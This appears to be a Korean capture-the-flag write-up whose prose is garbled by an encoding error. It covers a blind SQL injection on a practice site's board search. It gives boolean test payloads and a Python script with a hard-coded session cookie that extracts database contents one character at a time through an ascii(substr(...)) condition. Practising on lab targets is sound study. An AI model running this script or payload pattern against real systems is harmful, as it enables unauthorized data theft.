๋ก๊ทธ์ธ ํ ํ์ ๊ฒ์ํ์ผ๋ก ๊ฐ๋ณด์
x ๊ฒ์ ํ Burp์์ ํ์ธํด๋ณด๊ธฐ
์์ ์ฟผ๋ฆฌ๋
select * from table where option_val like '%board_result%'
option_val๋ถํฐ ํด๋ณด์
โผ'1'='1' and username
โผ'1'='2' and username
๋ค์ like๊ฐ ์์ผ๋ฏ๋ก username and '1'='1'์ด ์๋ '1'='1' and username ์ด๋ผ๊ณ ์จ์ผํ๋ค.
๊ฒฐ๊ณผ๊ฐ ์ฐธ์ผ๋ ๊ฒ์ํ์ ๊ธ์ด ๋ณด์ด๊ณ , ๊ฑฐ์ง์ผ๋ alert์ฐฝ ์ถ๋ ฅ & ๊ฒ์ํ ๊ธ ์๋ณด์ด๋ ๊ฒ ํ์ธ
import requests
url = "http://ctf.segfaulthub.com:7777/sqli_7/notice_list.php"
fail_message = '์กด์ฌํ์ง ์์ต๋๋ค'
def send_request(sql_query):
cookie = {
'PHPSESSID':'plppnj98ob0epg01r36sj4stsi'
}
data={
'option_val' : sql_query,
'board_result' : 'x',
'board_search' : '%F0%9F%94%8D',
'date_from' : '',
'date_to' : ''
}
response = requests.post(url, cookies=cookie,data=data)
return fail_message not in response.text
'''
sql_query = input("sql์ ์
๋ ฅํ์ธ์: ")
if send_request(sql_query):
print("๋ก๊ทธ์ธ ๋์์ต๋๋ค")
else:
print("๋ก๊ทธ์ธ ์คํจ")
'''
def Blind_SQLi(sql):
extract_info = ''
for i in range(1,101): #์ต๋ 100๊ธ์ ๊น์ง ์ถ์ถ
for j in range(32,127): #ascii ๋ฌธ์ ๋ฒ์
payload = f" (ascii(substr(({sql}),{i},1))={j}) and username "
if send_request(payload):
extract_info += chr(j)
break
else:
break # ๋ ์ด์ ๊ธ์๊ฐ ์์ผ๋ฉด ์ข
๋ฃ
return extract_info
sql_query = input("SQL ์ฟผ๋ฆฌ๋ฅผ ์
๋ ฅํ์ธ์: ")
extracted_data = Blind_SQLi(sql_query)
print(f"Extracted Data: {extracted_data}")
SQL๋ฌธ์ ๊ฒฐ๊ณผ๊ฐ ๊ฑฐ์ง์ผ๋ ๋์ค๋ ์กด์ฌํ์ง ์์ต๋๋ค๋ฅผ ์คํจ ๋ฉ์ธ์ง๋ก ๋ฃ์ด์ฃผ์๋ค.
๊ณต๊ฒฉ format์
(ascii(substr(({sql}),{i},1))={j}) and username